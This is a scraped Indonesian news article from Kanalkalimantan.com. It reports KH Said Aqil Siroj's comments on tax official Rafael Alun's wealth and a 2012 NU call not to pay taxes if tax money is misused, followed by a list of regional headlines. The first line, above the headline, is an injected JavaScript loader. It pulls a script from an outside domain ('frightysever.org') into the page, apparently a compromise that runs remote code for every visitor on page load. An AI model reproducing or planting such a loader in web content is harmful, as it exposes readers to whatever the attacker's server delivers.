(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Muncul Kembali Seruan Warga NU Tak Usah Bayar Pajak


KANALKALIMANTAN.COM, JAKARTA – Mantan Ketua Umum PBNU KH Said Aqil Siroj ikut mengomentari terkait harta kekayaan pegawai Direktorat Jenderal Pajak (DJP) Rafael Alun Trisambodo. Dia juga tidak habis pikir dengan sosok arogan Mario Dandy Satriyo anak dari Rafael Alun.

Menurut KH Said Aqil Siradj, dengan keluarga terdidik dan memiliki jabatan tinggi, seharusnya Mario memiliki sikap baik dan terpuji. Namun, sikap yang ditampilkan Mario sangat berbeda jauh dari anggapan keluarga terdidik.

Dia pun menyinggung uang haram dengan kenakalan anak yang selalu terkait.

“Maka yang jelas seperti yang sudah disinggung, bapaknya tidak urus atau salah urus. Tidak mendidik atau salah didik, dengan dibiarkan dimanja dengan segala kemewahan, uangnya belum tentu halal, nggak jelas kalau uangnya haram dimakan pasti anaknya nakal,” ujar Said Aqil di Jakarta yang ditulis, Rabu (1/3/2023).

 

Baca juga: Flu Burung Terindikasi di Tanbu dan HSU, Diminta Tingkatkan Kewaspadaan

Dalam kasus ini, dirinya juga berkaca pada kasus korupsi Gayus Tambunan. Kala itu dalam Munas NU yang dipimpinnya, KH Said Aqil mengeluarkan ancaman ajak warga NU untuk tidak membayar pajak, jika uangnya diselewengkan.

“Saya ketika jadi Ketum PBNU tahun 2012 bulan September, Munas ulama di pesantren Cirebon, waktu itu baru ada kejadian Gayus Tambunan, keputusan para kiai bahwa kalau uang pajak selalu diselewengkan, NU akan mengambil sikap tegas warga NU tidak usah bayar pajak waktu itu,” tutur dia.

Namun, Said Aqil menyebut, jika uang pajak itu dikembalikan ke masyarakat lagi, maka dia menyerukan warga NU untuk mendukung pembayaran pajak.

“Tapi kalau pajak untuk rakyat, pajak untuk pembangunan, pajak untuk kebaikan, kita dukung. Warga NU taat bayar pajak,” imbuh dia.

Maka dari itu, Said Aqil meminta semua pihak tegas dalam kasus Rafael Alun. Karena kalau tidak, ancamannya para ulama akan mengajak warga tak membayar pajak.

Baca juga: Jadi Pembicara di MWC, Dirut PLN Ajak Kekuatan Internasional Berkolaborasi dalam Transisi Energi

“Kalau memang pajak uang diselewengkan, ulama ini akan mengajak warga tak usah membayar pajak. Itu kalau terbukti diselewengkan,” pungkas dia. (Kanalkalimantan.com/Suara.com)

Editor : kk


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

3 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

4 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

4 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

4 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

4 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

4 jam ago

This website uses cookies.